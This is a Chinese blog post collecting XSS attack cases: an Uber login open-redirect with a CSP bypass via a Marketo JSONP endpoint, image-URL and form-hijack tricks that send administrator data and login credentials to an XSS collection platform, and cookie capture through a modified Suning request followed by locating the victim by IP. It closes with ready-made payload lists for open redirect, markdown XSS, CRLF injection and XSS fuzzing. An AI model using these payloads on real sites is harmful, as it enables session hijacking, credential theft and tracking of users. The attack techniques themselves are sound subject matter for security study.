首先先发我使用的几个xss平台
我自己在服务器上也搭了个蓝莲花战队的xss平台。
介绍几个经典漏洞
1. 记一个绕过csp的跳转
auth.uber.com下的一处地址
1 | https://auth.uber.com/login/ |
以下会发生两种行为
第一种行为:
当非授权用户试图访问uber的某个域如m.uber.com,riders.uber.com等时,这些域名将他重定向到登录界面,也就是auth.uber.com,同时提交一个名为next_url的参数,用于成功登录后将用户重定向回原域。
第二种行为:
如果通过身份验证的用户访问此链接,服务器将返回一个302响应,并将页面重定向到next_url参数提供的网址。
通过替换next_url的值,并没有出现任意跳转的漏洞。
现在我首先想到的是使用javascript协议,这将导致301重定向到以下location头:
链接:
1 | https://auth.uber.com/login/ |
Location头:
1 | Location: jaVAscript://accounts.uber.com/%0a%0dalert(1)// |
但它不会工作,因为大多数浏览器已不再支持这种行为。
另外注意到我写了jaVAscript而不是javascript(小写),这是因为后者被列入服务器的黑名单。
现在我的目标是找到一个能够执行重定向并绕过域名验证的协议。经过一些手动fuzz后,我可以使用DATA协议实现这种绕过:
1 | https://auth.uber.com/login/ |
浏览器差异分析
有人可能会想,为什么我不直接弹个窗,并向uber提交了一个XSS漏洞。
这是因为JavaScript代码没有运行在auth.uber.com域上。然后,服务器返回的301响应使用Location头执行重定向,页面的origin发生改变,在这种情况下,origin为空。
还有一点很重要,那就是上述重定向技术只能在Firefox浏览器中使用,在Chrome中不起作用。
Chrome会阻止此请求,原因有二:
Chrome不支持使用Location头重定向到data协议
Chrome浏览器与Firefox解析页面的方式不同,不会容忍data协议中的语法错误(data:accounts.uber.com;html/text – 想起来了吗?)
使用Location头重定向到data协议时,Chrome提示以下错误消息:
上述payload 重点是data协议
1 | data:accounts.uber.com;text/html;charset=UTF-8,<html><script>window.location="https://reddit.com";</script></html>&state=x |
上述响应没有使用Location头实现重定向,响应代码是200,但我仍然被重定向了,这意味着真相只有一个:重定向是在JavaScript中执行的。
通常这意味着:
1 | window.location.href = nextURL; |
理论上,如果我能控制nextURL参数(我确实能),我就可以使用这个方法来执行XSS:
1 | window.location.href = jaVAscript://accounts.uber.com//%0d%0aalert(1); // |
或者:
1 | window.location.href = data:accounts.uber.com; text/html; HTML_CODE |
所以我尝试使用以下链接进行登录:
1 | https://auth.uber.com/login/ |
然并卵……
可能是因为尽管没有阻止使用javascript协议,但仍然有客户端校验。我决定不浪费时间在这方面,于是尝试了另一种方法:
1 | https://auth.uber.com/login/ |
1 | next_url=data:accounts.uber.com;text/html;charset=UTF-8,<html><script>document.write(document.domain); |
仍然不起作用……
CSP分析与绕过
但是这一次我在浏览器的URL栏中看到数据了,这意味着我被重定向了。但是弹窗在哪里?
首先我需要确认这个页面的源是auth.uber.com:
F12(开发人员工具)——>控制台选项卡——> alert(document.domain);
我得到了弹窗:
在页面上快速查看浏览一下源代码,一切看起来似乎都很正常…
但是为什么没有弹窗呢?
查看我的请求历史记录后,我注意到了这个:
内容安全策略CSP…就是这个阻止弹窗了?但是CSP头在哪里?并未出现在这个响应中:
在历史记录中快速搜索一下,得到如下结果:
我做了一个快速测试,以确认这确实是导致没有弹窗的原因。通过从响应中删除CSP
头,然后我访问了以下链接:
1 | https://auth.uber.com/login/?next_url=data:accounts.uber.com;text/html;charset=UTF-8,<html><script>document.write(document.domain);</script><iframe/src=xxxxx>aaaa</iframe></html>&state=x |
Boom!成功弹窗!
这里我要坦白一下,我以前从没遇到过必须绕过CSP的情况,所以我对此不是很熟悉,我只是在一些漏洞分析中听说过这个。
最终Payload形成
所以花了一些时间了解CSP后,我得出了一些结论:
对我们很重要的一部分内容如下:
我不能使用内联脚本,因为会有随机的nonce值(每个请求都会变),所以不要使用:
1 | <script>alert(1);<script> |
我唯一的机会是找到一个由CSP批准的域名,同时能够将我的输入作为javascript返回。
但是你有什么机会找到这样的东西?显然机会很多。
https://en.wikipedia.org/wiki/JSONP
经过几分钟Google后,我发现了这个:
最终的链接为:
1 | https://app-lon02.marketo.com/index.php/form/getKnownLead?callback=alert(document.domain);// |
完美!
快速组装新的payload,我得到了这个:
1 | https://auth.uber.com/login/?next_url=data:accounts.uber.com%3Btext/html%3Bcharset=UTF-8,%3Chtml%3E%3Cscript%20src=%22https://app-lon02.marketo.com/index.php/form/getKnownLead?callback=alert(document.domain)%3B//%22%20data-reactid=%22341%22%3E%3C/script%3E%3C%2Fhtml%3E%26state%3Dx&state=x |
1 | https://auth.uber.com/login/?next_url=data:accounts.uber.com;text/html;charset=UTF-8,<html><script src="https://app-lon02.marketo.com/index.php/form/getKnownLead?callback=alert(document.domain);//" data-reactid="341"></script></html>&state=x&state=x |
登录然后……
但是只有在用户未登录的情况下payload才有效,如何扩大影响范围?
事实证明,如果你从URL中删除state参数,uber会强制用户再次登录,所以最终的链接如下所示:
1 | https://auth.uber.com/login/?next_url=data:accounts.uber.com%3Btext/html%3Bcharset=UTF-8,%3Chtml%3E%3Cscript%20src=%22https://app-lon02.marketo.com/index.php/form/getKnownLead?callback=alert(document.domain)%3B//%22%20data-reactid=%22341%22%3E%3C/script%3E%3C%2Fhtml%3E%26state%3Dx |
任何人在Firefox中点此链接将被重定向到登录页面,然后引发XSS。
2. xss图片获得网站后台
① 首先
② 但是
③ 另辟新路
上传图片,然后burp抓包,注意画箭头的地方
明显是图片地址对吧, 我们只需要把这个图片地址替换成我们XSS平台提供的图片地址即可,自己可以看上方XSS平台已经提供了 专用的图片地址。
只要管理员看到我这个信息,或者说看到了我这个图片,XSS平台就会获取到管理员的后台地址。 SO。。 下一步就是等XSS平台信息了。
还有一个案例类似
发表评论处抓包
3. 万物系列--xss
原先发送的GET请求
1 | /sfp/questionnaire/reportVSSUrl.htm?content=在你家根本买不到华为P10 plus 大骗子,都买多少天了都。。。&file=&contact=15555515555&attachment=https://image.suning.cn/uimg/sfp/ad/149101321731415393.jpg HTTP/1.1 |
修改后
1 | GET /sfp/questionnaire/reportVSSUrl.htm?content=在你家根本买不到华为P10 plus 大骗子,都买多少天了都。。。&file=&contact=15555515555&attachment=http://xxx.txp/jxx1/test.jpg HTTP/1.1 |
收到cookie
然后通过 IP查询一下精确地址
总结
最后,总结一下本篇writeup给出的启示:
总是尝试在多个浏览器中的测试payload。
始终尝试注意应用程序行为的所有路径。
4. form表单劫持
在登陆处插入xss
插入后的源码
点完登陆后,我们来看看XSS平台收到的信息吧。
下方就是XSS平台收到的图片。
open redirect payloads
1 | //localdomain.pw/%2f.. |
markdown xss payload
1 | [a](javascript:prompt(document.cookie)) |
CRLF-Injection-Payloads
1 | %0AHeader-Test:BLATRUC |
XSSfuzzer
1 | <script\x20type="text/javascript">javascript:alert(1);</script> |
reference: